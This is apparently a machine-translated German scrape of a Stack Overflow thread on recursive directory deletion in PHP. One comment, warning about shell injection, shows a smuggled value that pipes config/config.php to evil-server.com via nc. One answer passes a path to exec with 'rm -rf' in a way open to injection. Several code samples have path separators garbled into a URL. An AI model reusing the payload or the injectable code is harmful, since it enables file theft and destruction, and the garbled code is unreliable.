Eine rekursive Funktion zum Entfernen von Verzeichnissen für PHP?

Lesezeit: 5 Minuten

Eine rekursive Funktion zum Entfernen von Verzeichnissen fur PHP
rhodesjason

Ich verwende PHP, um den Inhalt eines Bilder-Unterordners zu verschieben

Galeriename/Bilder/

in einen anderen Ordner. Nach dem Umzug muss ich das GalleryName-Verzeichnis löschen und alles andere darin.

ich weiß das rmdir() funktioniert nur, wenn das Verzeichnis leer ist. Ich habe eine Weile damit verbracht, eine rekursive Funktion zu erstellen scandir() von oben anfangen und dann unlink() wenn es eine Datei ist und scandir() wenn es ein Verzeichnis ist, dann rmdir() jedes leere Verzeichnis, während ich gehe.

Bisher funktioniert es nicht ganz richtig, und ich begann zu denken — Ist das nicht eine lächerlich einfache Funktion, die PHP können sollte? Verzeichnis entfernen?

Gibt es also etwas, was ich vermisse? Oder gibt es zumindest eine bewährte Funktion, die Menschen für diese Aktion verwenden?

Jede Hilfe wäre willkommen.

PS: Ich vertraue Ihnen allen hier mehr als den Kommentaren auf der php.net-Site – dort gibt es Hunderte von Funktionen, aber ich bin daran interessiert zu hören, ob einer von Ihnen hier eine gegenüber anderen empfiehlt.

  • Haben Sie die Funktion shell_exec() mit einem ‘rm -fr’ in Betracht gezogen? Nicht der beste Ansatz, aber wenn Sie jetzt wissen, was Sie tun, funktioniert es gut.

    – rogeriopvl

    10. September 2009 um 20:03 Uhr

  • @rogeriopvl sehr gefährlich, aber wenn Sie Shell-Escape- und echte Pfadfunktionen verwenden müssen

    – MADforFUNandHappy

    12. Juni 19 um 19:06 Uhr

Eine rekursive Funktion zum Entfernen von Verzeichnissen fur PHP
barbusin

Was ist damit?

function rmdir_recursive($dirPath){
    if(!empty($dirPath) && is_dir($dirPath) ){
        $dirObj= new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS); //upper dirs not included,otherwise DISASTER HAPPENS :)
        $files = new RecursiveIteratorIterator($dirObj, RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $path) 
            $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
        rmdir($dirPath);
        return true;
    }
    return false;
}

  • +1 für den kürzesten Code und wahrscheinlich die beste und am schnellsten funktionierende Lösung 🙂

    – tftd

    24. April 13 um 16:45 Uhr

  • Schön, vergessen Sie nicht, rmdir($dirPath) nach foreach hinzuzufügen, sonst werden nur Dateien gelöscht.

    – Ameise

    7. Oktober 13 um 2:06 Uhr

  • @Cooluhuru rmdir()-Aufruf hinzugefügt. Danke!

    – Barbusin

    7. Oktober 13 um 14:02 Uhr

  • $path->isFile() ? unlink($path->getPathname()) : rmdir($path->getPathname()); sollte sein $path->isDir() ? rmdir($path->getPathname()) : unlink($path->getPathname()); Links werden also behandelt.

    – mattalxndr

    16. April 14 um 18:41 Uhr

  • Scheint die beste Lösung zu sein, da es anscheinend auf jedem Betriebssystem funktioniert.

    – Francisco Luz

    17. Januar 15 um 2:49 Uhr

Eine rekursive Funktion zum Entfernen von Verzeichnissen fur PHP
rhodesjason

Dies ist die rekursive Funktion, die ich erstellt/modifiziert habe und die endlich zu funktionieren scheint. Hoffentlich ist nichts zu Gefährliches drin.

function destroy_dir($dir) { 
    if (!is_dir($dir) || is_link($dir)) return unlink($dir); 
    foreach (scandir($dir) as $file) { 
        if ($file == '.' || $file == '..') continue; 
        if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) { 
            chmod($dir . DIRECTORY_SEPARATOR . $file, 0777); 
            if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; 
        }; 
    } 
    return rmdir($dir); 
} 

  • Diese Funktion ist gefährlich, statt $item sollte $file stehen!

    – Johndodo

    16. September 11 um 17:24 Uhr

Eine rekursive Funktion zum Entfernen von Verzeichnissen fur PHP
Valentoni

Wenn auf dem Anwendungsserver Linux ausgeführt wird, verwenden Sie einfach die Funktion shell_exec() und geben Sie den Befehl rm -R wie folgt ein:

    $realPath = realpath($dir_path);

    if($realPath === FALSE){
         throw new Exception('Directory does not exist');
    }

    shell_exec("rm ". escapeshellarg($realPath) ." -R");

Erläuterung:

Entfernt das angegebene Verzeichnis nur dann rekursiv, wenn der Pfad vorhanden ist, und maskiert den Pfad, sodass er nur als Shell-Argument verwendet werden kann, um das Einfügen von Shell-Befehlen zu vermeiden.

Wenn Sie nicht verwenden würden escapeshellarg Man könnte Befehle ausführen, indem man das zu entfernende Verzeichnis nach einem Befehl benennt.

  • je nachdem wo $dir_path kommt, könnten Sie ein sehr großes Sicherheitsproblem einführen. Angenommen, ich irgendwie eingestellt $dir_path = "-F --no-preserve-root /"; oder vielleicht nur $dir_path = "; cat config/config.php | nc evil-server.com 80 ;"; Nun, die Möglichkeiten sind endlos.

    – amenthes

    26. September 16 um 21:49 Uhr


  • @amenthes ja, aber Sie könnten $dir_path in realpath() einschließen, um dies zu vermeiden

    – MADforFUNandHappy

    22. April 19 um 15:10 Uhr

  • Man könnte, aber das obige Beispiel tut es nicht. Und so wie es jetzt aussieht, ist es ein gefährlicher Ratschlag. Diese Antwort wurde zum Zeitpunkt des Schreibens 32.000 Mal aufgerufen. Wenn nur 0,1 % dies wörtlich in der falschen Situation kopiert haben, sind das 32 Personen mit einem klaffenden Sicherheitsproblem.

    – amenthes

    22. April 19 um 22:13 Uhr

Ich habe eine Funktion angepasst, die versteckte Unix-Dateien mit dem Punktpräfix behandelt und glob verwendet:

public static function deleteDir($path) {
    if (!is_dir($path)) {
        throw new InvalidArgumentException("$path is not a directory");
    }
    if (substr($path, strlen($path) - 1, 1) != "https://stackoverflow.com/") {
        $path .= "https://stackoverflow.com/";
    }
    $dotfiles = glob($path . '.*', GLOB_MARK);
    $files = glob($path . '*', GLOB_MARK);
    $files = array_merge($files, $dotfiles);
    foreach ($files as $file) {
        if (basename($file) == '.' || basename($file) == '..') {
            continue;
        } else if (is_dir($file)) {
            self::deleteDir($file);
        } else {
            unlink($file);
        }
    }
    rmdir($path);
}

1643037247 401 Eine rekursive Funktion zum Entfernen von Verzeichnissen fur PHP
David Newcomb

Hier gibt es einen anderen Thread mit weiteren Beispielen: Wie lösche ich rekursiv ein Verzeichnis und seinen gesamten Inhalt (Dateien + Unterverzeichnisse) in PHP?

Wenn Sie Yii verwenden, können Sie es dem Framework überlassen:

CFileHelper::removeDirectory($my_directory);

1643037247 992 Eine rekursive Funktion zum Entfernen von Verzeichnissen fur PHP
Benutzer1680948

Ich bevorzuge eine erweiterte Methode, die von den PHP-Hilfeseiten abgeleitet ist http://php.net/manual/en/function.rmdir.php#115598

 // check accidential empty, root or relative pathes
 if (!empty($path) && ...)
 {
  if (PHP_OS === 'Windows')
  {
    exec('rd /s /q "'.$path.'"');
  }
  else
  {
      exec('rm -rf "'.$path.'"');
  }
}
else
{
    error_log('path not valid:$path'.var_export($path, true));
}

Gründe für meine Entscheidung:

  • weniger Code
  • Geschwindigkeit
  • halte es einfach

1643037247 286 Eine rekursive Funktion zum Entfernen von Verzeichnissen fur PHP
dusef

public static function rrmdir($dir)
{
    if (is_dir($dir)) {
        $files = scandir($dir);
        foreach ($files as $file) {
            if ($file != "." && $file != "..") {
                if (filetype($dir . "https://stackoverflow.com/" . $file) == "dir")
                    self::rrmdir($dir . "https://stackoverflow.com/" . $file);
                else
                    unlink($dir . "https://stackoverflow.com/" . $file);
            }
        }
        reset($files);
        rmdir($dir);
    }
}

.

619680cookie-checkEine rekursive Funktion zum Entfernen von Verzeichnissen für PHP?

This website is using cookies to improve the user-friendliness. You agree by using the website further.

Privacy policy